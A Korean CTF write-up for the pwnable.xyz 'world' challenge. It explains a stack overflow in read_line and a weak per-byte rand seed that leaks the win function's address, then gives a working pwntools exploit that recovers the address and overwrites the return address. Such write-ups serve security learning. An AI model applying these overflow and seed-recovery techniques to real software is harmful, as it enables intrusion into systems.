본문으로 바로가기

pwnable.xyz / world

category Wargame/pwnable.xyz 2020. 5. 11. 02:58
void __fastcall read_line(char *buf)
{
  char *s; // [rsp+8h] [rbp-18h]
  char c; // [rsp+1Fh] [rbp-1h]

  s = buf;

  while ( read(0, &c, 1uLL) != -1 && c && c != '\n' )
    *s++ = c;
}

 

read_line은 buf가 스택 주소를 가리킬 경우 BOF를 유발한다. (길이 제한 X)

 

void __fastcall do_seed(uint64_t seed)
{
  unsigned int s; // [rsp+1Ch] [rbp-4h]

  s = (unsigned __int8)(seed >> (8 * (rand() & 7u)));
  srand(s);
}

 

do_seed 함수는 인자로 seed를 결정해 srand에 넘겨주는데, 계산 과정을 살펴보면 seed는 0부터 0xFF의 범위로 제한된다는 사실을 알 수 있다.

 

main에서 do_seed의 인자에 win의 주소가 들어간다. seed 설정 후, encrypt 메뉴를 통해 srand에 들어간 s 값, 즉 win 주소의 1바이트와, 이 주소가 몇 번째 바이트인지를 추론할 수 있다.

 

초기 상태에서 do_seed를 실행해서 확인하면 rand의 반환값은 0x6b8b4567이고, s는 0이다. 이후에 rand를 적절히 돌려서 win의 주소를 구하고 main의 stack ret에 win의 주소를 쓰면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdoutNULL_IONBF0);

    int opt;
    unsigned int seed;

    while (1) {
        printf("> ");
        scanf("%d", &opt);

        switch (opt) {
        case 1:
            scanf("%u", &seed);
            srand(seed);
            break;
        
        case 2:
            printf("%u\n"rand());
            break;
        }
    }

    return 0;
}
rng.c

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
import argparse
import copy


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def RNG_UpdateSeed(seed:int) :
    rng.writelineafter(b'> 'b'1')
    rng.writeline(str(seed).encode())

def RNG_GetNumber() :
    rng.writelineafter(b'> 'b'2')
    return int(rng.readline(keepends=False))

def InitSamples() :
    global samples
    samples = {}

    for seed in range(0x100) :
        RNG_UpdateSeed(seed)
        samples[seed] = []

        for i in range(10) :
            r = RNG_GetNumber()
            samples[seed].append(r)

def Seed() :
    p.writeafter(b'> 'b'1\x00')

def Encrypt(data:bytes) :
    p.writeafter(b'> 'b'2\x00')
    p.writeafter(b': ', data+b'\x00')

def Print() :
    p.writeafter(b'> 'b'3\x00')
    p.readuntil(b': ')
    return p.readuntil(b'\nMenu'drop=True)

def exploit() :
    RNG_UpdateSeed(0)
    win = 0

    for bindex in range(6) :
        while True :
            r = RNG_GetNumber()

            if (r & 7) == bindex :
                Seed()
                RNG_UpdateSeed(bindex)
                break
            else :
                Encrypt(b'A')

        cds = [i for i in range(0x100)]
        new_cds = []
        i = 0

        while len(cds) != 1 :
            assert(len(cds) != 0)
            assert(i < 10)

            Encrypt(b'A')
            b = Print()[0]

            for s in cds :
                if (65+samples[s][i])%0x100 == b :
                    new_cds.append(s)

            cds = copy.deepcopy(new_cds)
            new_cds.clear()
            i += 1

        RNG_UpdateSeed(cds[0])
        for _ in range(i) :
            RNG_GetNumber()

        win |= cds[0] << bindex*8
        log_info('win = '+hex(win))

    r = RNG_GetNumber()
    payload = b'A'*0x98
    payload += p64(win+4)
    payload = bytes([(c-r)%0x100 for c in payload])

    Encrypt(payload)
    p.writeafter(b'> 'b'0\x00')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30040)
    else :
        p = process('./challenge')

    rng = process('./rng')

    InitSamples()
    exploit()
exploit.py

 

 

 

Last update: 5/11/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / PvE  (0) 2020.05.12
pwnable.xyz / note v3  (0) 2020.05.11
pwnable.xyz / door  (0) 2020.05.06
pwnable.xyz / child  (0) 2020.05.06
pwnable.xyz / Car shop  (0) 2020.05.06